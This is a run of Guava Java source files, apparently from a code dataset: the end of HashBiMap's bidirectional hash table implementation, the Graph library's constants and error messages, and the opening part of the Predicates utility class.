int valueHash; // All BiEntry instances are strongly reachable from owning HashBiMap through // "HashBiMap.hashTableKToV" and "BiEntry.nextInKToVBucket" references. // Under that assumption, the remaining references can be safely marked as @Weak. // Using @Weak is necessary to avoid retain-cycles between BiEntry instances on iOS, // which would cause memory leaks when non-empty HashBiMap with cyclic BiEntry // instances is deallocated. @CheckForNull BiEntry<K, V> nextInKToVBucket; @Weak @CheckForNull BiEntry<K, V> nextInVToKBucket; @Weak @CheckForNull BiEntry<K, V> nextInKeyInsertionOrder; @Weak @CheckForNull BiEntry<K, V> prevInKeyInsertionOrder; BiEntry(@ParametricNullness K key, int keyHash, @ParametricNullness V value, int valueHash) { super(key, value); this.keyHash = keyHash; this.valueHash = valueHash; } } private static final double LOAD_FACTOR = 1.0; /* * The following two arrays may *contain* nulls, but they are never *themselves* null: Even though * they are not initialized inline in the constructor, they are initialized from init(), which the * constructor calls (as does readObject()). */ @SuppressWarnings("nullness:initialization.field.uninitialized") // For J2KT (see above) private transient @Nullable BiEntry<K, V>[] hashTableKToV; @SuppressWarnings("nullness:initialization.field.uninitialized") // For J2KT (see above) private transient @Nullable BiEntry<K, V>[] hashTableVToK; @Weak @CheckForNull private transient BiEntry<K, V> firstInKeyInsertionOrder; @Weak @CheckForNull private transient BiEntry<K, V> lastInKeyInsertionOrder; private transient int size; private transient int mask; private transient int modCount; private HashBiMap(int expectedSize) { init(expectedSize); } private void init(int expectedSize) { checkNonnegative(expectedSize, "expectedSize"); int tableSize = Hashing.closedTableSize(expectedSize, LOAD_FACTOR); this.hashTableKToV = createTable(tableSize); this.hashTableVToK = createTable(tableSize); this.firstInKeyInsertionOrder = null; this.lastInKeyInsertionOrder = null; this.size = 0; this.mask = tableSize - 1; this.modCount = 0; } /** * Finds and removes {@code entry} from the bucket linked lists in both the key-to-value direction * and the value-to-key direction. */ private void delete(BiEntry<K, V> entry) { int keyBucket = entry.keyHash & mask; BiEntry<K, V> prevBucketEntry = null; for (BiEntry<K, V> bucketEntry = hashTableKToV[keyBucket]; true; bucketEntry = bucketEntry.nextInKToVBucket) { if (bucketEntry == entry) { if (prevBucketEntry == null) { hashTableKToV[keyBucket] = entry.nextInKToVBucket; } else { prevBucketEntry.nextInKToVBucket = entry.nextInKToVBucket; } break; } prevBucketEntry = bucketEntry; } int valueBucket = entry.valueHash & mask; prevBucketEntry = null; for (BiEntry<K, V> bucketEntry = hashTableVToK[valueBucket]; true; bucketEntry = bucketEntry.nextInVToKBucket) { if (bucketEntry == entry) { if (prevBucketEntry == null) { hashTableVToK[valueBucket] = entry.nextInVToKBucket; } else { prevBucketEntry.nextInVToKBucket = entry.nextInVToKBucket; } break; } prevBucketEntry = bucketEntry; } if (entry.prevInKeyInsertionOrder == null) { firstInKeyInsertionOrder = entry.nextInKeyInsertionOrder; } else { entry.prevInKeyInsertionOrder.nextInKeyInsertionOrder = entry.nextInKeyInsertionOrder; } if (entry.nextInKeyInsertionOrder == null) { lastInKeyInsertionOrder = entry.prevInKeyInsertionOrder; } else { entry.nextInKeyInsertionOrder.prevInKeyInsertionOrder = entry.prevInKeyInsertionOrder; } size--; modCount++; } private void insert(BiEntry<K, V> entry, @CheckForNull BiEntry<K, V> oldEntryForKey) { int keyBucket = entry.keyHash & mask; entry.nextInKToVBucket = hashTableKToV[keyBucket]; hashTableKToV[keyBucket] = entry; int valueBucket = entry.valueHash & mask; entry.nextInVToKBucket = hashTableVToK[valueBucket]; hashTableVToK[valueBucket] = entry; if (oldEntryForKey == null) { entry.prevInKeyInsertionOrder = lastInKeyInsertionOrder; entry.nextInKeyInsertionOrder = null; if (lastInKeyInsertionOrder == null) { firstInKeyInsertionOrder = entry; } else { lastInKeyInsertionOrder.nextInKeyInsertionOrder = entry; } lastInKeyInsertionOrder = entry; } else { entry.prevInKeyInsertionOrder = oldEntryForKey.prevInKeyInsertionOrder; if (entry.prevInKeyInsertionOrder == null) { firstInKeyInsertionOrder = entry; } else { entry.prevInKeyInsertionOrder.nextInKeyInsertionOrder = entry; } entry.nextInKeyInsertionOrder = oldEntryForKey.nextInKeyInsertionOrder; if (entry.nextInKeyInsertionOrder == null) { lastInKeyInsertionOrder = entry; } else { entry.nextInKeyInsertionOrder.prevInKeyInsertionOrder = entry; } } size++; modCount++; } @CheckForNull private BiEntry<K, V> seekByKey(@CheckForNull Object key, int keyHash) { for (BiEntry<K, V> entry = hashTableKToV[keyHash & mask]; entry != null; entry = entry.nextInKToVBucket) { if (keyHash == entry.keyHash && Objects.equal(key, entry.key)) { return entry; } } return null; } @CheckForNull private BiEntry<K, V> seekByValue(@CheckForNull Object value, int valueHash) { for (BiEntry<K, V> entry = hashTableVToK[valueHash & mask]; entry != null; entry = entry.nextInVToKBucket) { if (valueHash == entry.valueHash && Objects.equal(value, entry.value)) { return entry; } } return null; } @Override public boolean containsKey(@CheckForNull Object key) { return seekByKey(key, smearedHash(key)) != null; } /** * Returns {@code true} if this BiMap contains an entry whose value is equal to {@code value} (or, * equivalently, if this inverse view contains a key that is equal to {@code value}). * * <p>Due to the property that values in a BiMap are unique, this will tend to execute in * faster-than-linear time. * * @param value the object to search for in the values of this BiMap * @return true if a mapping exists from a key to the specified value */ @Override public boolean containsValue(@CheckForNull Object value) { return seekByValue(value, smearedHash(value)) != null; } @Override @CheckForNull public V get(@CheckForNull Object key) { return Maps.valueOrNull(seekByKey(key, smearedHash(key))); } @CanIgnoreReturnValue @Override @CheckForNull public V put(@ParametricNullness K key, @ParametricNullness V value) { return put(key, value, false); } @CheckForNull private V put(@ParametricNullness K key, @ParametricNullness V value, boolean force) { int keyHash = smearedHash(key); int valueHash = smearedHash(value); BiEntry<K, V> oldEntryForKey = seekByKey(key, keyHash); if (oldEntryForKey != null && valueHash == oldEntryForKey.valueHash && Objects.equal(value, oldEntryForKey.value)) { return value; } BiEntry<K, V> oldEntryForValue = seekByValue(value, valueHash); if (oldEntryForValue != null) { if (force) { delete(oldEntryForValue); } else { throw new IllegalArgumentException("value already present: " + value); } } BiEntry<K, V> newEntry = new BiEntry<>(key, keyHash, value, valueHash); if (oldEntryForKey != null) { delete(oldEntryForKey); insert(newEntry, oldEntryForKey); oldEntryForKey.prevInKeyInsertionOrder = null; oldEntryForKey.nextInKeyInsertionOrder = null; return oldEntryForKey.value; } else { insert(newEntry, null); rehashIfNecessary(); return null; } } @CanIgnoreReturnValue @Override @CheckForNull public V forcePut(@ParametricNullness K key, @ParametricNullness V value) { return put(key, value, true); } @CanIgnoreReturnValue @CheckForNull private K putInverse(@ParametricNullness V value, @ParametricNullness K key, boolean force) { int valueHash = smearedHash(value); int keyHash = smearedHash(key); BiEntry<K, V> oldEntryForValue = seekByValue(value, valueHash); BiEntry<K, V> oldEntryForKey = seekByKey(key, keyHash); if (oldEntryForValue != null && keyHash == oldEntryForValue.keyHash && Objects.equal(key, oldEntryForValue.key)) { return key; } else if (oldEntryForKey != null && !force) { throw new IllegalArgumentException("key already present: " + key); } /* * The ordering here is important: if we deleted the key entry and then the value entry, * the key entry's prev or next pointer might point to the dead value entry, and when we * put the new entry in the key entry's position in iteration order, it might invalidate * the linked list. */ if (oldEntryForValue != null) { delete(oldEntryForValue); } if (oldEntryForKey != null) { delete(oldEntryForKey); } BiEntry<K, V> newEntry = new BiEntry<>(key, keyHash, value, valueHash); insert(newEntry, oldEntryForKey); if (oldEntryForKey != null) { oldEntryForKey.prevInKeyInsertionOrder = null; oldEntryForKey.nextInKeyInsertionOrder = null; } if (oldEntryForValue != null) { oldEntryForValue.prevInKeyInsertionOrder = null; oldEntryForValue.nextInKeyInsertionOrder = null; } rehashIfNecessary(); return Maps.keyOrNull(oldEntryForValue); } private void rehashIfNecessary() { @Nullable BiEntry<K, V>[] oldKToV = hashTableKToV; if (Hashing.needsResizing(size, oldKToV.length, LOAD_FACTOR)) { int newTableSize = oldKToV.length * 2; this.hashTableKToV = createTable(newTableSize); this.hashTableVToK = createTable(newTableSize); this.mask = newTableSize - 1; this.size = 0; for (BiEntry<K, V> entry = firstInKeyInsertionOrder; entry != null; entry = entry.nextInKeyInsertionOrder) { insert(entry, entry); } this.modCount++; } } @SuppressWarnings({"unchecked", "rawtypes"}) private @Nullable BiEntry<K, V>[] createTable(int length) { return new @Nullable BiEntry[length]; } @CanIgnoreReturnValue @Override @CheckForNull public V remove(@CheckForNull Object key) { BiEntry<K, V> entry = seekByKey(key, smearedHash(key)); if (entry == null) { return null; } else { delete(entry); entry.prevInKeyInsertionOrder = null; entry.nextInKeyInsertionOrder = null; return entry.value; } } @Override public void clear() { size = 0; Arrays.fill(hashTableKToV, null); Arrays.fill(hashTableVToK, null); firstInKeyInsertionOrder = null; lastInKeyInsertionOrder = null; modCount++; } @Override public int size() { return size; } private abstract class Itr<T extends @Nullable Object> implements Iterator<T> { @CheckForNull BiEntry<K, V> next = firstInKeyInsertionOrder; @CheckForNull BiEntry<K, V> toRemove = null; int expectedModCount = modCount; int remaining = size(); @Override public boolean hasNext() { if (modCount != expectedModCount) { throw new ConcurrentModificationException(); } return next != null && remaining > 0; } @Override public T next() { if (!hasNext()) { throw new NoSuchElementException(); } // requireNonNull is safe because of the hasNext check. BiEntry<K, V> entry = requireNonNull(next); next = entry.nextInKeyInsertionOrder; toRemove = entry; remaining--; return output(entry); } @Override public void remove() { if (modCount != expectedModCount) { throw new ConcurrentModificationException(); } if (toRemove == null) { throw new IllegalStateException("no calls to next() since the last call to remove()"); } delete(toRemove); expectedModCount = modCount; toRemove = null; } abstract T output(BiEntry<K, V> entry); } @Override public Set<K> keySet() { return new KeySet(); } private final class KeySet extends Maps.KeySet<K, V> { KeySet() { super(HashBiMap.this); } @Override public Iterator<K> iterator() { return new Itr<K>() { @Override @ParametricNullness K output(BiEntry<K, V> entry) { return entry.key; } }; } @Override public boolean remove(@CheckForNull Object o) { BiEntry<K, V> entry = seekByKey(o, smearedHash(o)); if (entry == null) { return false; } else { delete(entry); entry.prevInKeyInsertionOrder = null; entry.nextInKeyInsertionOrder = null; return true; } } } @Override public Set<V> values() { return inverse().keySet(); } @Override Iterator<Entry<K, V>> entryIterator() { return new Itr<Entry<K, V>>() { @Override Entry<K, V> output(BiEntry<K, V> entry) { return new MapEntry(entry); } class MapEntry extends AbstractMapEntry<K, V> { private BiEntry<K, V> delegate; MapEntry(BiEntry<K, V> entry) { this.delegate = entry; } @Override @ParametricNullness public K getKey() { return delegate.key; } @Override @ParametricNullness public V getValue() { return delegate.value; } @Override @ParametricNullness public V setValue(@ParametricNullness V value) { V oldValue = delegate.value; int valueHash = smearedHash(value); if (valueHash == delegate.valueHash && Objects.equal(value, oldValue)) { return value; } checkArgument(seekByValue(value, valueHash) == null, "value already present: %s", value); delete(delegate); BiEntry<K, V> newEntry = new BiEntry<>(delegate.key, delegate.keyHash, value, valueHash); insert(newEntry, delegate); delegate.prevInKeyInsertionOrder = null; delegate.nextInKeyInsertionOrder = null; expectedModCount = modCount; if (toRemove == delegate) { toRemove = newEntry; } delegate = newEntry; return oldValue; } } }; } @Override public void forEach(BiConsumer<? super K, ? super V> action) { checkNotNull(action); for (BiEntry<K, V> entry = firstInKeyInsertionOrder; entry != null; entry = entry.nextInKeyInsertionOrder) { action.accept(entry.key, entry.value); } } @Override public void replaceAll(BiFunction<? super K, ? super V, ? extends V> function) { checkNotNull(function); BiEntry<K, V> oldFirst = firstInKeyInsertionOrder; clear(); for (BiEntry<K, V> entry = oldFirst; entry != null; entry = entry.nextInKeyInsertionOrder) { put(entry.key, function.apply(entry.key, entry.value)); } } @LazyInit @RetainedWith @CheckForNull private transient BiMap<V, K> inverse; @Override public BiMap<V, K> inverse() { BiMap<V, K> result = inverse; return (result == null) ? inverse = new Inverse() : result; } private final class Inverse extends IteratorBasedAbstractMap<V, K> implements BiMap<V, K>, Serializable { BiMap<K, V> forward() { return HashBiMap.this; } @Override public int size() { return size; } @Override public void clear() { forward().clear(); } @Override public boolean containsKey(@CheckForNull Object value) { return forward().containsValue(value); } @Override @CheckForNull public K get(@CheckForNull Object value) { return Maps.keyOrNull(seekByValue(value, smearedHash(value))); } @CanIgnoreReturnValue @Override @CheckForNull public K put(@ParametricNullness V value, @ParametricNullness K key) { return putInverse(value, key, false); } @Override @CheckForNull public K forcePut(@ParametricNullness V value, @ParametricNullness K key) { return putInverse(value, key, true); } @Override @CheckForNull public K remove(@CheckForNull Object value) { BiEntry<K, V> entry = seekByValue(value, smearedHash(value)); if (entry == null) { return null; } else { delete(entry); entry.prevInKeyInsertionOrder = null; entry.nextInKeyInsertionOrder = null; return entry.key; } } @Override public BiMap<K, V> inverse() { return forward(); } @Override public Set<V> keySet() { return new InverseKeySet(); } private final class InverseKeySet extends Maps.KeySet<V, K> { InverseKeySet() { super(Inverse.this); } @Override public boolean remove(@CheckForNull Object o) { BiEntry<K, V> entry = seekByValue(o, smearedHash(o)); if (entry == null) { return false; } else { delete(entry); return true; } } @Override public Iterator<V> iterator() { return new Itr<V>() { @Override @ParametricNullness V output(BiEntry<K, V> entry) { return entry.value; } }; } } @Override public Set<K> values() { return forward().keySet(); } @Override Iterator<Entry<V, K>> entryIterator() { return new Itr<Entry<V, K>>() { @Override Entry<V, K> output(BiEntry<K, V> entry) { return new InverseEntry(entry); } class InverseEntry extends AbstractMapEntry<V, K> { private BiEntry<K, V> delegate; InverseEntry(BiEntry<K, V> entry) { this.delegate = entry; } @Override @ParametricNullness public V getKey() { return delegate.value; } @Override @ParametricNullness public K getValue() { return delegate.key; } @Override @ParametricNullness public K setValue(@ParametricNullness K key) { K oldKey = delegate.key; int keyHash = smearedHash(key); if (keyHash == delegate.keyHash && Objects.equal(key, oldKey)) { return key; } checkArgument(seekByKey(key, keyHash) == null, "value already present: %s", key); delete(delegate); BiEntry<K, V> newEntry = new BiEntry<>(key, keyHash, delegate.value, delegate.valueHash); delegate = newEntry; insert(newEntry, null); expectedModCount = modCount; return oldKey; } } }; } @Override public void forEach(BiConsumer<? super V, ? super K> action) { checkNotNull(action); HashBiMap.this.forEach((k, v) -> action.accept(v, k)); } @Override public void replaceAll(BiFunction<? super V, ? super K, ? extends K> function) { checkNotNull(function); BiEntry<K, V> oldFirst = firstInKeyInsertionOrder; clear(); for (BiEntry<K, V> entry = oldFirst; entry != null; entry = entry.nextInKeyInsertionOrder) { put(entry.value, function.apply(entry.value, entry.key)); } } Object writeReplace() { return new InverseSerializedForm<>(HashBiMap.this); } @GwtIncompatible // serialization @J2ktIncompatible private void readObject(ObjectInputStream in) throws InvalidObjectException { throw new InvalidObjectException("Use InverseSerializedForm"); } } private static final class InverseSerializedForm< K extends @Nullable Object, V extends @Nullable Object> implements Serializable { private final HashBiMap<K, V> bimap; InverseSerializedForm(HashBiMap<K, V> bimap) { this.bimap = bimap; } Object readResolve() { return bimap.inverse(); } } /** * @serialData the number of entries, first key, first value, second key, second value, and so on. */ @GwtIncompatible // java.io.ObjectOutputStream @J2ktIncompatible private void writeObject(ObjectOutputStream stream) throws IOException { stream.defaultWriteObject(); Serialization.writeMap(this, stream); } @GwtIncompatible // java.io.ObjectInputStream @J2ktIncompatible private void readObject(ObjectInputStream stream) throws IOException, ClassNotFoundException { stream.defaultReadObject(); int size = Serialization.readCount(stream); init(16); // resist hostile attempts to allocate gratuitous heap Serialization.populateMap(this, stream, size); } @GwtIncompatible // Not needed in emulated source @J2ktIncompatible private static final long serialVersionUID = 0; }
google/guava
guava/src/com/google/common/collect/HashBiMap.java
330
/* * Copyright (C) 2016 The Guava Authors * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package com.google.common.graph; /** A utility class to hold various constants used by the Guava Graph library. */ @ElementTypesAreNonnullByDefault final class GraphConstants { private GraphConstants() {} static final int EXPECTED_DEGREE = 2; static final int DEFAULT_NODE_COUNT = 10; static final int DEFAULT_EDGE_COUNT = DEFAULT_NODE_COUNT * EXPECTED_DEGREE; // Load factor and capacity for "inner" (i.e. per node/edge element) hash sets or maps static final float INNER_LOAD_FACTOR = 1.0f; static final int INNER_CAPACITY = 2; // ceiling(EXPECTED_DEGREE / INNER_LOAD_FACTOR) // Error messages static final String NODE_NOT_IN_GRAPH = "Node %s is not an element of this graph."; static final String EDGE_NOT_IN_GRAPH = "Edge %s is not an element of this graph."; static final String NODE_REMOVED_FROM_GRAPH = "Node %s that was used to generate this set is no longer in the graph."; static final String NODE_PAIR_REMOVED_FROM_GRAPH = "Node %s or node %s that were used to generate this set are no longer in the graph."; static final String EDGE_REMOVED_FROM_GRAPH = "Edge %s that was used to generate this set is no longer in the graph."; static final String REUSING_EDGE = "Edge %s already exists between the following nodes: %s, " + "so it cannot be reused to connect the following nodes: %s."; static final String MULTIPLE_EDGES_CONNECTING = "Cannot call edgeConnecting() when parallel edges exist between %s and %s. Consider calling " + "edgesConnecting() instead."; static final String PARALLEL_EDGES_NOT_ALLOWED = "Nodes %s and %s are already connected by a different edge. To construct a graph " + "that allows parallel edges, call allowsParallelEdges(true) on the Builder."; static final String SELF_LOOPS_NOT_ALLOWED = "Cannot add self-loop edge on node %s, as self-loops are not allowed. To construct a graph " + "that allows self-loops, call allowsSelfLoops(true) on the Builder."; static final String NOT_AVAILABLE_ON_UNDIRECTED = "Cannot call source()/target() on a EndpointPair from an undirected graph. Consider calling " + "adjacentNode(node) if you already have a node, or nodeU()/nodeV() if you don't."; static final String EDGE_ALREADY_EXISTS = "Edge %s already exists in the graph."; static final String ENDPOINTS_MISMATCH = "Mismatch: endpoints' ordering is not compatible with directionality of the graph"; /** Singleton edge value for {@link Graph} implementations backed by {@link ValueGraph}s. */ enum Presence { EDGE_EXISTS } }
google/guava
android/guava/src/com/google/common/graph/GraphConstants.java
332
/* * Copyright (C) 2007 The Guava Authors * * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except * in compliance with the License. You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software distributed under the License * is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express * or implied. See the License for the specific language governing permissions and limitations under * the License. */ package com.google.common.base; import static com.google.common.base.Preconditions.checkNotNull; import com.google.common.annotations.GwtCompatible; import com.google.common.annotations.GwtIncompatible; import com.google.common.annotations.J2ktIncompatible; import java.io.Serializable; import java.util.ArrayList; import java.util.Arrays; import java.util.Collection; import java.util.List; import java.util.regex.Pattern; import javax.annotation.CheckForNull; import org.checkerframework.checker.nullness.qual.Nullable; /** * Static utility methods pertaining to {@code Predicate} instances. * * <p>All methods return serializable predicates as long as they're given serializable parameters. * * <p>See the Guava User Guide article on <a * href="https://github.com/google/guava/wiki/FunctionalExplained">the use of {@code Predicate}</a>. * * @author Kevin Bourrillion * @since 2.0 */ @GwtCompatible(emulated = true) @ElementTypesAreNonnullByDefault public final class Predicates { private Predicates() {} // TODO(kevinb): considering having these implement a VisitablePredicate // interface which specifies an accept(PredicateVisitor) method. /** Returns a predicate that always evaluates to {@code true}. */ @GwtCompatible(serializable = true) public static <T extends @Nullable Object> Predicate<T> alwaysTrue() { return ObjectPredicate.ALWAYS_TRUE.withNarrowedType(); } /** Returns a predicate that always evaluates to {@code false}. */ @GwtCompatible(serializable = true) public static <T extends @Nullable Object> Predicate<T> alwaysFalse() { return ObjectPredicate.ALWAYS_FALSE.withNarrowedType(); } /** * Returns a predicate that evaluates to {@code true} if the object reference being tested is * null. */ @GwtCompatible(serializable = true) public static <T extends @Nullable Object> Predicate<T> isNull() { return ObjectPredicate.IS_NULL.withNarrowedType(); } /** * Returns a predicate that evaluates to {@code true} if the object reference being tested is not * null. */ @GwtCompatible(serializable = true) public static <T extends @Nullable Object> Predicate<T> notNull() { return ObjectPredicate.NOT_NULL.withNarrowedType(); } /** * Returns a predicate that evaluates to {@code true} if the given predicate evaluates to {@code * false}. */ public static <T extends @Nullable Object> Predicate<T> not(Predicate<T> predicate) { return new NotPredicate<>(predicate); } /** * Returns a predicate that evaluates to {@code true} if each of its components evaluates to * {@code true}. The components are evaluated in order, and evaluation will be "short-circuited" * as soon as a false predicate is found. It defensively copies the iterable passed in, so future * changes to it won't alter the behavior of this predicate. If {@code components} is empty, the * returned predicate will always evaluate to {@code true}. */ public static <T extends @Nullable Object> Predicate<T> and( Iterable<? extends Predicate<? super T>> components) { return new AndPredicate<>(defensiveCopy(components)); } /** * Returns a predicate that evaluates to {@code true} if each of its components evaluates to * {@code true}. The components are evaluated in order, and evaluation will be "short-circuited" * as soon as a false predicate is found. It defensively copies the array passed in, so future * changes to it won't alter the behavior of this predicate. If {@code components} is empty, the * returned predicate will always evaluate to {@code true}. */ @SafeVarargs public static <T extends @Nullable Object> Predicate<T> and(Predicate<? super T>... components) { return new AndPredicate<T>(defensiveCopy(components)); } /** * Returns a predicate that evaluates to {@code true} if both of its components evaluate to {@code * true}. The components are evaluated in order, and evaluation will be "short-circuited" as soon * as a false predicate is found. */ public static <T extends @Nullable Object> Predicate<T> and( Predicate<? super T> first, Predicate<? super T> second) { return new AndPredicate<>(Predicates.<T>asList(checkNotNull(first), checkNotNull(second))); } /** * Returns a predicate that evaluates to {@code true} if any one of its components evaluates to * {@code true}. The components are evaluated in order, and evaluation will be "short-circuited" * as soon as a true predicate is found. It defensively copies the iterable passed in, so future * changes to it won't alter the behavior of this predicate. If {@code components} is empty, the * returned predicate will always evaluate to {@code false}. */ public static <T extends @Nullable Object> Predicate<T> or( Iterable<? extends Predicate<? super T>> components) { return new OrPredicate<>(defensiveCopy(components)); } /** * Returns a predicate that evaluates to {@code true} if any one of its components evaluates to * {@code true}. The components are evaluated in order, and evaluation will be "short-circuited" * as soon as a true predicate is found. It defensively copies the array passed in, so future * changes to it won't alter the behavior of this predicate. If {@code components} is empty, the * returned predicate will always evaluate to {@code false}. */ @SafeVarargs public static <T extends @Nullable Object> Predicate<T> or(Predicate<? super T>... components) { return new OrPredicate<T>(defensiveCopy(components)); } /** * Returns a predicate that evaluates to {@code true} if either of its components evaluates to * {@code true}. The components are evaluated in order, and evaluation will be "short-circuited" * as soon as a true predicate is found. */ public static <T extends @Nullable Object> Predicate<T> or( Predicate<? super T> first, Predicate<? super T> second) { return new OrPredicate<>(Predicates.<T>asList(checkNotNull(first), checkNotNull(second))); } /** * Returns a predicate that evaluates to {@code true} if the object being tested {@code equals()} * the given target or both are null. */ public static <T extends @Nullable Object> Predicate<T> equalTo(@ParametricNullness T target) { return (target == null) ? Predicates.<T>isNull() : new IsEqualToPredicate(target).withNarrowedType(); } /** * Returns a predicate that evaluates to {@code true} if the object being tested is an instance of * the given class. If the object being tested is {@code null} this predicate evaluates to {@code * false}. * * <p>If you want to filter an {@code Iterable} to narrow its type, consider using {@link * com.google.common.collect.Iterables#filter(Iterable, Class)} in preference. * * <p><b>Warning:</b> contrary to the typical assumptions about predicates (as documented at * {@link Predicate#apply}), the returned predicate may not be <i>consistent with equals</i>. For * example, {@code instanceOf(ArrayList.class)} will yield different results for the two equal * instances {@code Lists.newArrayList(1)} and {@code Arrays.asList(1)}. */ @GwtIncompatible // Class.isInstance public static <T extends @Nullable Object> Predicate<T> instanceOf(Class<?> clazz) { return new InstanceOfPredicate<>(clazz); } /** * Returns a predicate that evaluates to {@code true} if the class being tested is assignable to * (is a subtype of) {@code clazz}. Example: * * <pre>{@code * List<Class<?>> classes = Arrays.asList( * Object.class, String.class, Number.class, Long.class); * return Iterables.filter(classes, subtypeOf(Number.class)); * }</pre> * * The code above returns an iterable containing {@code Number.class} and {@code Long.class}. * * @since 20.0 (since 10.0 under the incorrect name {@code assignableFrom}) */ @J2ktIncompatible @GwtIncompatible // Class.isAssignableFrom public static Predicate<Class<?>> subtypeOf(Class<?> clazz) { return new SubtypeOfPredicate(clazz); } /** * Returns a predicate that evaluates to {@code true} if the object reference being tested is a * member of the given collection. It does not defensively copy the collection passed in, so * future changes to it will alter the behavior of the predicate. * * <p>This method can technically accept any {@code Collection<?>}, but using a typed collection * helps prevent bugs. This approach doesn't block any potential users since it is always possible * to use {@code Predicates.<Object>in()}. * * @param target the collection that may contain the function input */ public static <T extends @Nullable Object> Predicate<T> in(Collection<? extends T> target) { return new InPredicate<>(target); } /** * Returns the composition of a function and a predicate. For every {@code x}, the generated * predicate returns {@code predicate(function(x))}. * * @return the composition of the provided function and predicate */ public static <A extends @Nullable Object, B extends @Nullable Object> Predicate<A> compose( Predicate<B> predicate, Function<A, ? extends B> function) { return new CompositionPredicate<>(predicate, function); } /** * Returns a predicate that evaluates to {@code true} if the {@code CharSequence} being tested * contains any match for the given regular expression pattern. The test used is equivalent to * {@code Pattern.compile(pattern).matcher(arg).find()} * * @throws IllegalArgumentException if the pattern is invalid * @since 3.0 */ @GwtIncompatible // Only used by other GWT-incompatible code. public static Predicate<CharSequence> containsPattern(String pattern) { return new ContainsPatternFromStringPredicate(pattern); } /** * Returns a predicate that evaluates to {@code true} if the {@code CharSequence} being tested * contains any match for the given regular expression pattern. The test used is equivalent to * {@code pattern.matcher(arg).find()} * * @since 3.0 */ @GwtIncompatible(value = "java.util.regex.Pattern") public static Predicate<CharSequence> contains(Pattern pattern) { return new ContainsPatternPredicate(new JdkPattern(pattern)); } // End public API, begin private implementation classes. // Package private for GWT serialization. enum ObjectPredicate implements Predicate<@Nullable Object> { /** @see Predicates#alwaysTrue() */ ALWAYS_TRUE { @Override public boolean apply(@CheckForNull Object o) { return true; } @Override public String toString() { return "Predicates.alwaysTrue()"; } }, /** @see Predicates#alwaysFalse() */ ALWAYS_FALSE { @Override public boolean apply(@CheckForNull Object o) { return false; } @Override public String toString() { return "Predicates.alwaysFalse()"; } }, /** @see Predicates#isNull() */ IS_NULL { @Override public boolean apply(@CheckForNull Object o) { return o == null; } @Override public String toString() { return "Predicates.isNull()"; } }, /** @see Predicates#notNull() */ NOT_NULL { @Override public boolean apply(@CheckForNull Object o) { return o != null; } @Override public String toString() { return "Predicates.notNull()"; } }; @SuppressWarnings("unchecked") // safe contravariant cast <T extends @Nullable Object> Predicate<T> withNarrowedType() { return (Predicate<T>) this; } } /** @see Predicates#not(Predicate) */ private static class NotPredicate<T extends @Nullable Object> implements Predicate<T>, Serializable { final Predicate<T> predicate; NotPredicate(Predicate<T> predicate) { this.predicate = checkNotNull(predicate); } @Override public boolean apply(@ParametricNullness T t) { return !predicate.apply(t); } @Override public int hashCode() { return ~predicate.hashCode(); } @Override public boolean equals(@CheckForNull Object obj) { if (obj instanceof NotPredicate) { NotPredicate<?> that = (NotPredicate<?>) obj; return predicate.equals(that.predicate); } return false; } @Override public String toString() { return "Predicates.not(" + predicate + ")"; } private static final long serialVersionUID = 0; } /** @see Predicates#and(Iterable) */ private static class AndPredicate<T extends @Nullable Object> implements Predicate<T>, Serializable { private final List<? extends Predicate<? super T>> components; private AndPredicate(List<? extends Predicate<? super T>> components) { this.components = components; } @Override public boolean apply(@ParametricNullness T t) { // Avoid using the Iterator to avoid generating garbage (issue 820). for (int i = 0; i < components.size(); i++) { if (!components.get(i).apply(t)) { return false; } } return true; } @Override public int hashCode() { // add a random number to avoid collisions with OrPredicate return components.hashCode() + 0x12472c2c; } @Override public boolean equals(@CheckForNull Object obj) { if (obj instanceof AndPredicate) { AndPredicate<?> that = (AndPredicate<?>) obj; return components.equals(that.components); } return false; } @Override public String toString() { return toStringHelper("and", components); } private static final long serialVersionUID = 0; } /** @see Predicates#or(Iterable) */ private static class OrPredicate<T extends @Nullable Object> implements Predicate<T>, Serializable { private final List<? extends Predicate<? super T>> components; private OrPredicate(List<? extends Predicate<? super T>> components) { this.components = components; } @Override public boolean apply(@ParametricNullness T t) { // Avoid using the Iterator to avoid generating garbage (issue 820). for (int i = 0; i < components.size(); i++) { if (components.get(i).apply(t)) { return true; } } return false; } @Override public int hashCode() { // add a random number to avoid collisions with AndPredicate return components.hashCode() + 0x053c91cf; } @Override public boolean equals(@CheckForNull Object obj) { if (obj instanceof OrPredicate) { OrPredicate<?> that = (OrPredicate<?>) obj; return components.equals(that.components); } return false; } @Override public String toString() { return toStringHelper("or", components); } private static final long serialVersionUID = 0; } private static String toStringHelper(String methodName, Iterable<?> components) { StringBuilder builder = new StringBuilder("Predicates.").append(methodName).append('('); boolean first = true; for (Object o : components) { if (!first) { builder.append(','); } builder.append(o); first = false; } return builder.append(')').toString(); } /** @see Predicates#equalTo(Object) */ private static class IsEqualToPredicate implements Predicate<@Nullable Object>, Serializable { private final Object target; private IsEqualToPredicate(Object target) { this.target = target; } @Override public boolean apply(@CheckForNull Object o) { return target.equals(o); } @Override public int hashCode() { return target.hashCode(); } @Override public boolean equals(@CheckForNull Object obj) { if (obj instanceof IsEqualToPredicate) { IsEqualToPredicate that = (IsEqualToPredicate) obj; return target.equals(that.target); } return false; } @Override public String toString() { return "Predicates.equalTo(" + target + ")"; } private static final long serialVersionUID = 0; @SuppressWarnings("unchecked") // safe contravariant cast <T extends @Nullable Object> Predicate<T> withNarrowedType() { return (Predicate<T>) this; } } /** * @see Predicates#instanceOf(Class) */ @GwtIncompatible // Class.isInstance private static class InstanceOfPredicate<T extends @Nullable Object> implements Predicate<T>, Serializable { private final Class<?> clazz; private InstanceOfPredicate(Class<?> clazz) { this.clazz = checkNotNull(clazz); } @Override public boolean apply(@ParametricNullness T o) { return clazz.isInstance(o); } @Override public int hashCode() { return clazz.hashCode(); } @Override public boolean equals(@CheckForNull Object obj) { if (obj instanceof InstanceOfPredicate) { InstanceOfPredicate<?> that = (InstanceOfPredicate<?>) obj; return clazz == that.clazz; } 